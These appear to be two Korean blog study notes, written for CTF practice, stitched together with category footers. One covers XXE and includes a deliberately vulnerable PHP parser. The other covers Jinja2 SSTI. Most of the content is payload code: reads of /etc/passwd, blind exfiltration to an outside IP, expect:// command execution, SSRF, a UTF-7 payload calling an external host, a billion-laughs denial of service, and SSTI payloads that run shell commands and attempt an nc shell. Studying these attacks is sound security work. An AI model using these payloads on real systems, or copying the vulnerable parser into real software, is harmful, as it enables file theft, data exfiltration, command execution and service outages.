공부하다가 XXE에 대해서 자세히 정리를 해보려고한다.

맨날 CTF 보면서 CHEET SHEET 만 보다보니 한번 구현을 해보는게 좋겠다 생각해서 작성해본다.

 

일단 XML Parser 기능이 있는 함수는 PHP에서 크게 input 을 파일명으로 받느냐 텍스트로 받느냐 2가지이다.

 

$변수 = simplexml_load_file(파일 지정);
$변수 = simplexml_load_string(텍스트);



 

아래는 공격코드 예시이며 현미니님 블로그에서 소스코드 참조하였으며 오류 생기길래 조금 수정하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<body>
<?php
        if(isset($_POST['xml'])){
        $xml = $_POST['xml'];
        if ($xml){
                echo "input length : ".strlen($_POST['xml']);
        echo '<br>';
                $doc = "";
                $doc = simplexml_load_string($xml);
                }
        }
?>
<h1> XML Parser</h1>
<form action='xxe.php' method='post'>
        <textarea name='xml' rows=12 cols=100></textarea>
        <br>
        <input type=submit size=55>
        <br>
        <? echo $doc->testing;?>
</form>
</body>
</html>
 
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter
 

공격 코드 예시.

1
2
3
4
5
<!DOCTYPE root
    [
    <!ENTITY foo SYSTEM "file:///etc/passwd">
    ]>
    <test><testing>&foo;</testing></test>
 

 

 

XXE 공격관점은 여러가지가 있다.

- LFI(Local File Inlcude)

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
 


- Blind LFI

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "http://192.168.0.12/log?%xxe;">]><foo>&blind;</foo>
 


- RCE(Remote Code Excution)

1
2
3
4
5
6
7
[ run "uname" command]
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://uname" >]>
<creds>
    <user>&xxe;</user>
</creds>
 


- SSRF(Server Side Request Forgery)

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [ 
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://internal_domain/server-status">]><foo>&xxe;</foo>
 

 

- UTF-7

1
2
3
4
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
 
 

 

- DOS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[ Local payload ]
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
 
[ Remote payload ]
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>
 

 

 

 

 

 

 

출처 & 좋은자료

https://hyunmini.tistory.com/66

https://www.hahwul.com/p/xxe-cheat-sheet.html

https://umbum.tistory.com/475

http://mm.sookmyung.ac.kr/~sblim/lec/xml02/xml2-05.htm

'Web security' 카테고리의 다른 글

WEB - ORACLE PADDING ATTACK  (0) 2019.09.02
WEB - OBJECT INJECTION  (0) 2019.09.01
WEB - SSTI  (0) 2019.08.29
WEB - LFI  (2) 2019.08.29
WEB - XS LEAK(Facebook CTF Secret Note Keeper)  (0) 2019.07.02

SSTI 인젝션같은경우 항상 치트시트만 보면서 공부를해와서 이번 기회에 정리를 하려고한다.

그래서 좀 더 자세한 동작원리를 기본으로하여 공부하려고 한다.

 

SSTI Injection 같은 경우 HTML 템플릿 샌드박스에서 발생하는 취약점이다.

즉 HTML 내에서 서버내 코드를 편하게 사용하여 디자인을 간편하게 해주는 기능이다.

 

종류로는 Ruby, Java, Twig, Smarty, Freemarker, Jade/Codepen, Velocity, Mako, Jinja2,  가 있다.

 

위와 같은 방법으로 해당 템플릿 종류를 추론할 수 있다.

 

Jinja2 기준

 

__class__.__base__.__subclasses__ 알아보자.

__bases__.subclasses는 이 함수는 서브 클래스의 모든 함수를 반환 해주는 함수이다.

MRO(method resolution order) 는 클래스를 상속했을때 메서드를 가져오는 순서를 의미한다.

__class__.mro()[1].__subclasses__()[46] 이런식으로 해당 클래스내 객체에 접근 한다.

 

{{ '7'*7 }}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}} 
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
{{ config.items() }}
{{ config.from_object('os') }}
{{''.__class__.mro()[1].__subclasses__()[46]('touch /tmp/rce',shell=True)}}
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
{{ import os; os.startfile("nc -lnvp 4444 -e /bin/sh") }}

 

 

참고할만한 좋은 자료 

2018 PicoCTF

1. Flaskcards

2. Flaskcards_Skeleton_key

3. Flaskcards_and_Freedom

 

 

Flask 세션 인코딩 디코딩 툴 : https://github.com/noraj/flask-session-cookie-manager

SSTI INJECTION CHEET SHEET

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

 

'Web security' 카테고리의 다른 글

WEB - OBJECT INJECTION  (0) 2019.09.01
WEB - XXE  (0) 2019.08.31
WEB - LFI  (2) 2019.08.29
WEB - XS LEAK(Facebook CTF Secret Note Keeper)  (0) 2019.07.02
WEB - Lord of sql injection (2)  (0) 2019.06.26

+ Recent posts